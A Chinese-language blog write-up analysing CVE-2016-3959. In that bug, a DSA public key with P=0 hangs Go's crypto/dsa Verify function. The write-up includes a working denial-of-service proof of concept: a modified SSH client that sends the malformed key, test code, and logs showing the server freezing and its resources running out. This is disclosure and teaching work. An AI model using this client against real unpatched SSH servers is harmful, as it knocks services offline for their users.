Alex Mullins
2016年4月9日
最近，Go 编程语言的数字签名算法（DSA）加密库中发现了一个 bug。在本文中，我们将详细介绍该 bug 的细节，以及攻击者如何利用它来对使用底层 DSA 库进行客户端认证的标准 Go SSH 服务器发起拒绝服务攻击。
该漏洞首次被提及是在 Open Source Security（oss-sec）邮件列表的一篇帖子中：http://seclists.org/oss-sec/2016/q2/11。
Go 在几个大整数例程中存在无限循环，这使得 Go 程序容易受到远程拒绝服务攻击。 使用 HTTPS 客户端认证或 Go ssh 服务器库的程序都暴露在此漏洞之下。此问题正在以下 CL 中解决：https://golang.org/cl/21533
-- Jason Buberel
总而言之，如果该漏洞被利用，可能会导致底层 BigNum 库代码陷入无限循环。这将消耗 CPU 和内存等系统资源，并最终可能导致程序或系统本身无响应。
上述声明称 SSH 以及 HTTPS 客户端认证均受影响，但在查看了 Go 的 crypto/tls 和 net/http 包之后，这似乎并不正确。HTTPS 客户端认证可以使用 RSA 或 ECDSA 签名方案，但不能使用 DSA。请参见下文。如果我在这方面有误，请告知我。
https://golang.org/pkg/crypto/tls/#Certificate
type Certificate struct {
Certificate [][]byte
// PrivateKey contains the private key corresponding to the public key
// in Leaf. For a server, this must implement crypto.Signer and/or
// crypto.Decrypter, with an RSA or ECDSA PublicKey. For a client
// (performing client authentication), this must be a crypto.Signer
// with an RSA or ECDSA PublicKey.
PrivateKey crypto.PrivateKey
... other fields
}
在该帖子出现在 oss-sec 邮件列表后不久，CVE 编号被发布：CVE-2016-3959。Go 维护者已准备好修复方案，该修复将出现在计划于 2016年4月13日（星期三）发布的 1.5.4 和 1.6.1 版本中；https://groups.google.com/forum/#!topic/golang-nuts/MmSbFHLPo8g。
要跟随本文中的代码示例进行操作，你需要安装 Go 1.6 版本。请按照 https://golang.org/doc/install 上的说明进行操作。如果你想下载本文档和代码示例，你还需要安装 Git。请按照 https://git-scm.com/book/en/v2/Getting-Started-Installing-Git 上的说明进行操作。要在终端中克隆仓库，请执行以下命令：
$ go get github.com/alexmullins/dsa
这会将仓库克隆到你的 Go 工作区中。
下一节将介绍该漏洞的详细信息。
那么到底哪里出了问题？要回答这个问题，我们必须回到 oss-sec 邮件列表上的最初公告。除了对问题的一般性解释和指向 https://golang.org/cl/21533 的代码修复链接之外，那里没有太多信息。该变更的提交信息包含以下内容：
crypto/dsa: 尽早排除无效的 PublicKey
当 PublicKey.P == 0 时，Verify 将会失败。根本无需尝试。
--- Robert Griesemer
以及修复后的代码：
https://github.com/golang/go/blob/master/src/crypto/dsa/dsa.go#L247
// Verify verifies the signature in r, s of hash using the public key, pub. It
// reports whether the signature is valid.
//
// Note that FIPS 186-3 section 4.6 specifies that the hash should be truncated
// to the byte-length of the subgroup. This function does not perform that
// truncation itself.
func Verify(pub *PublicKey, hash []byte, r, s *big.Int) bool {
// FIPS 186-3, section 4.7
// Code fix added to check if the key parameters are sensible.
if pub.P.Sign() == 0 {
return false
}
if r.Sign() < 1 || r.Cmp(pub.Q) >= 0 {
return false
}
if s.Sign() < 1 || s.Cmp(pub.Q) >= 0 {
return false
}
w := new(big.Int).ModInverse(s, pub.Q)
n := pub.Q.BitLen()
if n&7 != 0 {
return false
}
z := new(big.Int).SetBytes(hash)
u1 := new(big.Int).Mul(z, w)
u1.Mod(u1, pub.Q)
u2 := w.Mul(r, w)
u2.Mod(u2, pub.Q)
v := u1.Exp(pub.G, u1, pub.P)
u2.Exp(pub.Y, u2, pub.P)
v.Mul(v, u2)
v.Mod(v, pub.P)
v.Mod(v, pub.Q)
return v.Cmp(r) == 0
}
总结一下上面的提交信息和代码修复：在 Go 1.6 及更早版本中，crypto/dsa 包的 Verify 函数存在一个 bug。如果有人在将公钥参数 P 设置为 0 的情况下调用 Verify，则会导致 Verify 函数中更靠后的某个语句陷入无限循环。
稍微绕道解释一下 DSA。DSA 是一种使用非对称密码学对消息进行签名的数字签名算法，该签名之后可用于保证消息确实是由发送方/私钥持有者发送的。举个简单的例子，Alice 给 Bob 发送一条消息，告诉他俩应该在何时何地共进午餐。不过 Bob 想确保消息确实是 Alice 发送的，而不是其他人。为了实现这一点，Alice 将用她的私钥对消息签名，而 Bob 可以用他所知道的 Alice 公钥来验证 Alice 的签名。除私钥持有者外，任何人都无法对消息进行签名，使其能够通过对应的公钥验证（至少理念上是这样）。
DSA 正常工作需要 5 个大数。前 3 个数被称为 DSA 参数 P、Q 和 G。它们定义了底层群和群生成元。可以通过调用 dsa.GenerateParameters() 正确创建这些数。
type Parameters struct {
P, Q, G *big.Int
}
DSA 所需的最后两个数是私钥 X 和对应的公钥 Y。也可以通过调用 dsa.GenerateKey() 创建这些数。
type PrivateKey struct {
PublicKey
X *big.Int
}
type PublicKey struct {
Parameters
Y *big.Int
}
要跟上本文的进度，以上便是你需要了解的关于 DSA 的全部内容。更多信息请参阅 NIST 标准：http://csrc.nist.gov/publications/fips/fips186-3/fips_186-3.pdf 或维基百科页面：https://en.wikipedia.org/wiki/Digital_Signature_Algorithm。
回到正题；Verify 函数中的无限循环在哪里？再多挖掘一点，你会发现代码卡在：
v := u1.Exp(pub.G, u1, pub.P)
这是 Exp() 方法的注释：
// Exp sets z = x**y mod |m| (i.e. the sign of m is ignored), and returns z.
// If y <= 0, the result is 1 mod |m|; if m == nil or m == 0, z = x**y.
// See Knuth, volume 2, section 4.6.3.
func (z *Int) Exp(x, y, m *Int) *Int {
从上面可以看出，注释说明当 m == 0 时，它将在没有模约减的情况下进行幂运算。当你拿一个大数去和另一个大数做幂运算时，结果也将是一个非常大的数。我对 math/big 的工作原理不太熟悉，但我认为这里发生的就是这种情况。Exp() 正在拼命计算这个幂运算，这将花费非常非常长的时间才能完成（跟无穷大也差不多了）。
以下是从下面的测试代码中收集到的、在 dsa.Verify() 调用 Exp() 时使用的一些示例数字：
x = 87134495734400160760614045850064869082246125869475484226357302998590334523718907040547736115253396811403341841812955872027275698952059512800196447089300992352859585665865224989740
07948775031938554271780506269767106717359222697821209685947889925442133804051298762702245652821695254167558015585995918548052076 (307 digits)
y = 751336012463178371212581620103057049388105279629 (48 digits)
z = x ^ y
使用 Wolfram Alpha，可以大致了解这个数字 z 有多大。结果数字 z 中有“113406800566837208055789635448879116719378036793444 或 1.13407x10^50 位十进制数字”。（注意：在 Wolfram Alpha 的网页输入框中只能输入 x 的前 150 位数字再求 y 次幂，所以实际的位数还要更多！）为了让你对规模有个概念：科学家估计宇宙中的原子数量接近 10^78 到 10^82 http://www.universetoday.com/36302/atoms-in-the-universe/。
DSA 签名/验证的测试示例：
func generatePrivKey(t *testing.T) *dsa.PrivateKey {
// Create the DSA parameters
params := dsa.Parameters{}
err := dsa.GenerateParameters(¶ms, rand.Reader, dsa.L1024N160)
if err != nil {
t.Fatalf("failed to generate dsa parameters: %v", err)
}
// Create the DSA private/public keys
priv := new(dsa.PrivateKey)
priv.Parameters = params
err = dsa.GenerateKey(priv, rand.Reader)
if err != nil {
t.Fatalf("failed to generate dsa keys: %v", err)
}
return priv
}
func TestDSASignature(t *testing.T) {
var message = "Hello brave new world!"
var hash = sha1.Sum([]byte(message))
var err error
priv := generatePrivKey(t)
// Sign a message
r, s, err := dsa.Sign(rand.Reader, priv, hash[:])
if err != nil {
t.Fatalf("failed to sign message: %v", err)
}
if !dsa.Verify(&priv.PublicKey, hash[:], r, s) {
t.Fatalf("failed to verify message: %v", err)
}
}
$ go test
PASS
ok github.com/alexmullins/dsa 0.224s
将 P 设置为 0 的测试示例：
func TestDSAPanic(t *testing.T) {
flag.Parse()
if !*fail {
t.Skip()
}
var message = "Hello brave new world!"
var hash = sha1.Sum([]byte(message))
var err error
priv := generatePrivKey(t)
// Sign a message
r, s, err := dsa.Sign(rand.Reader, priv, hash[:])
if err != nil {
t.Fatalf("failed to sign message: %v", err)
}
// Set P = 0
priv.P = new(big.Int).SetInt64(0)
if !dsa.Verify(&priv.PublicKey, hash[:], r, s) {
t.Fatalf("failed to verify message: %v", err)
}
}
$ go test -fail
注意，这最后一个测试调用将会挂起。
有人会如何利用这一点呢？如果攻击者能以某种方式让服务器接受并使用格式错误的 DSA 密钥来验证签名，他/她就可以使服务器陷入对一个大幂运算问题的拼命计算中，从而造成拒绝服务（DOS）。由于 SSH 在其客户端认证协议中使用 DSA 作为签名方案，这似乎是尝试该漏洞利用的完美服务器候选。让我们设想一个可能发生这种情况的场景。
一家小型 Git 托管服务商允许其用户使用 SSH 密钥对其服务进行认证，而他们的 SSH 服务器是用 Go 编写的。为了搞垮该服务，攻击者可以创建大量虚假账户，并上传格式错误的 DSA 密钥用于 SSH 认证。所有这些密钥的参数 P 都将被设置为 0。然后，攻击者可以向服务器发起数百个这样的 SSH 客户端连接，导致系统资源被锁死，从而造成有效的 DOS。
让我们测试一下该场景。
该服务器是一个简单的 SSH 服务器，接受会话请求并向连接打印当前时间。感谢 github.com/jpillora 在 https://gist.github.com/jpillora/b480fde82bff51a06238 提供了这个示例服务器代码。对代码做了一些调整，以便使用公钥认证而不是密码回调。
config := &ssh.ServerConfig{
// Accept all authentication requests
PublicKeyCallback: func(c ssh.ConnMetadata, key ssh.PublicKey) (*ssh.Permissions, error) {
return nil, nil
},
}
这将接受所有公钥认证请求。想象一个真实的服务会查询数据库，以确定某个用户是否在其账户下注册了该公钥。这个服务器看起来就像一个非常普通的 Go 服务器，开始监听端口并接受传入的连接。
// Once a ServerConfig has been configured, connections can be accepted.
listener, err := net.Listen("tcp", *addr)
if err != nil {
log.Fatalf("Failed to listen on %s: %s", *addr, err)
}
// Accept all connections
log.Println("Listening on", *addr)
for {
tcpConn, err := listener.Accept()
if err != nil {
log.Printf("Failed to accept incoming connection (%s)", err)
return
}
log.Printf("Accepted an incoming TCP connection from %s", tcpConn.RemoteAddr())
if *p {
go makeSSHConn(tcpConn, config)
} else {
makeSSHConn(tcpConn, config)
}
}
func makeSSHConn(conn net.Conn, config *ssh.ServerConfig) {
// Before use, a handshake must be performed on the incoming net.Conn.
sshConn, chans, reqs, err := ssh.NewServerConn(conn, config)
if err != nil {
log.Printf("Failed to handshake (%s)", err)
return
}
log.Printf("New SSH connection from %s (%s)", sshConn.RemoteAddr(), sshConn.ClientVersion())
// Discard all global out-of-band Requests
go ssh.DiscardRequests(reqs)
// Accept all channels
go handleChannels(chans)
}
需要注意的一点是 if *p 这个检查。它对应于 -p 标志，控制服务器是在主 goroutine 上还是在后台 goroutine 上执行 SSH 握手。许多在线示例使用前者。-p 标志将在后面的攻击部分展示阻塞操作对网络服务器性能可能产生的影响。
客户端代码要稍微复杂一些。它需要对 Go SSH 库代码进行修改，以允许发送格式错误的 DSA 密钥。SSH 库已被 vendor 到客户端包中。请注意，服务器代码 100% 未做任何修改，并且从工作区导入的是常规的 golang.org/x/crypto/ssh 包。
客户端通过一个名为 -attack 的命令行标志在两种不同的模式下工作。当客户端正常启动时，它会与服务器建立常规的 SSH 连接，并每隔几秒读取一次服务器的时间。但当存在 -attack 标志时，客户端将向服务器发送带有格式错误的 DSA 公钥的认证请求。相关代码片段：
func init() {
flag.Parse()
if *attack {
ssh.Attack = true
}
if *key == "" {
log.Fatalln("must provide a auth key.")
}
}
注意，在 vendor 的 SSH 包中创建了一个新的变量 ssh.Attack，当存在 -attack 标志时它会被设置为 true。ssh.Attack 会修改 SSH 包中 DSA 公钥的序列化代码，将 P 参数替换为 0。这两个变更可以在 vendor 的 SSH 包中的 attack.go 和 keys.go 文件中找到。
// attack.go
var (
// Attack should be set to true to send a malformed DSA key.
Attack = false
)
// keys.go
func (k *dsaPublicKey) Marshal() []byte {
x := k.P
if Attack {
x = big.NewInt(0)
}
w := struct {
Name string
P, Q, G, Y *big.Int
}{
k.Type(),
x,
k.Q,
k.G,
k.Y,
}
return Marshal(&w)
}
攻击产生的影响取决于服务器是否使用 -p 标志启动。
要构建服务器，请 cd 进入服务器目录并运行：go build -o server .。对客户端执行相同操作：go build -o client .。在服务器和客户端的 data 目录中有测试用的 RSA 和 DSA 密钥。如果你想创建新的密钥，请使用 ssh-keygen。
如果服务器在没有 -p 标志的情况下启动，那么一个攻击客户端就可以完全冻结服务器，并且无法再接受任何新连接。这是因为对 ssh.NewServerConn() 的调用在主 goroutine 上运行，并卡在用于客户端认证的 dsa.Verify() 调用中，从而阻塞了后续的 listener.Accept() 调用。在编写网络服务器时，保持 accept 循环的响应性并将任何阻塞操作推送到后台 goroutine 中是很重要的。
正常启动服务器：
$ ./server -key=./data/id_rsa
2016/04/13 07:30:27 Listening on localhost:8022
在另一个终端中正常启动一个客户端，它将向服务器发送正确的 DSA 密钥进行认证：
$ ./client -key=./data/id_dsa
2016/04/13 07:31:31 connected
Wed Apr 13 07:31:34 CDT 2016
Wed Apr 13 07:31:37 CDT 2016
切换回服务器，可以看到它已经接受了 TCP 连接并创建了 SSH 连接：
$ ./server -key=./data/id_rsa
2016/04/13 07:31:23 Listening on localhost:8022
2016/04/13 07:31:31 Accepted an incoming TCP connection from 127.0.0.1:63516
2016/04/13 07:31:31 New SSH connection from 127.0.0.1:63516 (SSH-2.0-Go)
现在是时候在另一个终端中启动一个攻击客户端了。它将发送与普通客户端相同的 DSA 密钥，但 P 参数将被设置为 0：
$ ./client -key=./data/id_dsa -attack
注意客户端只是挂起，没有输出 'connected' 消息，也没有服务器时间的日志。服务器也没有记录创建 SSH 连接，但它确实接受了 TCP 连接。服务器现在卡在了对 dsa.Verify() 的调用上：
$ ./server -key=./data/id_rsa
2016/04/13 07:31:23 Listening on localhost:8022
2016/04/13 07:31:31 Accepted an incoming TCP connection from 127.0.0.1:63516
2016/04/13 07:31:31 New SSH connection from 127.0.0.1:63516 (SSH-2.0-Go)
2016/04/13 07:33:36 Accepted an incoming TCP connection from 127.0.0.1:63521
尝试连接另一个正常客户端；它现在也无法连接了：
$ ./client -key=./data/id_dsa
不过，原来的客户端仍然能够收到服务器的响应。
如果服务器使用 -p 标志启动，那么它仍然可以接受常规客户端连接，因为攻击者的 SSH 连接被占用在后台 goroutine 中，而不是阻塞主 goroutine 上的 accept 循环。这不会立即导致 DOS，但会持续消耗服务器的 CPU 和内存资源，导致其缓慢地走向死亡。
让我们重新启动服务器，但这次使用 -p 标志：
$ ./sshd -key=./data/id_rsa -p
2016/04/13 07:38:07 Listening on localhost:8022
现在像之前一样启动一个攻击客户端：
$ ./client -key=./data/id_dsa -attack
注意服务器再次没有记录创建 SSH 连接，但让我们尝试连接一个常规客户端：
$ ./client -key=./data/id_dsa
2016/04/13 07:42:06 connected
Wed Apr 13 07:42:09 CDT 2016
Wed Apr 13 07:42:12 CDT 2016
嘿，它能连接！但攻击者只需要再启动几个恶意客户端连接，服务器的 CPU 和内存使用率就会飙升。在停止之前（因为我的笔记本电脑有点发烫），我用 4 个攻击客户端就达到了约 400% 的 CPU 使用率和 1GB 的内存使用率。在正常条件下，服务器只连接 2 个普通客户端时，我的 CPU 约为 0.2%，内存使用率为 5-6MB。差别相当大。
总之，该漏洞可以被利用来造成拒绝服务。使用上述场景，CVE 评分计算器 https://nvd.nist.gov/CVSS/v2-calculator 给出的评分为 3.5/10。不存在任何机密性或完整性影响，只有部分/完全的可用性影响。
查看 godoc.org，目前有 164 个包导入了 crypto/dsa，https://godoc.org/crypto/dsa?importers。建议升级到 https://golang.org/dl/ 上的安全版本。
总的来说，这是一次有趣的学习经历。如果存在任何错误或可以改进的地方，请告诉我。感谢阅读。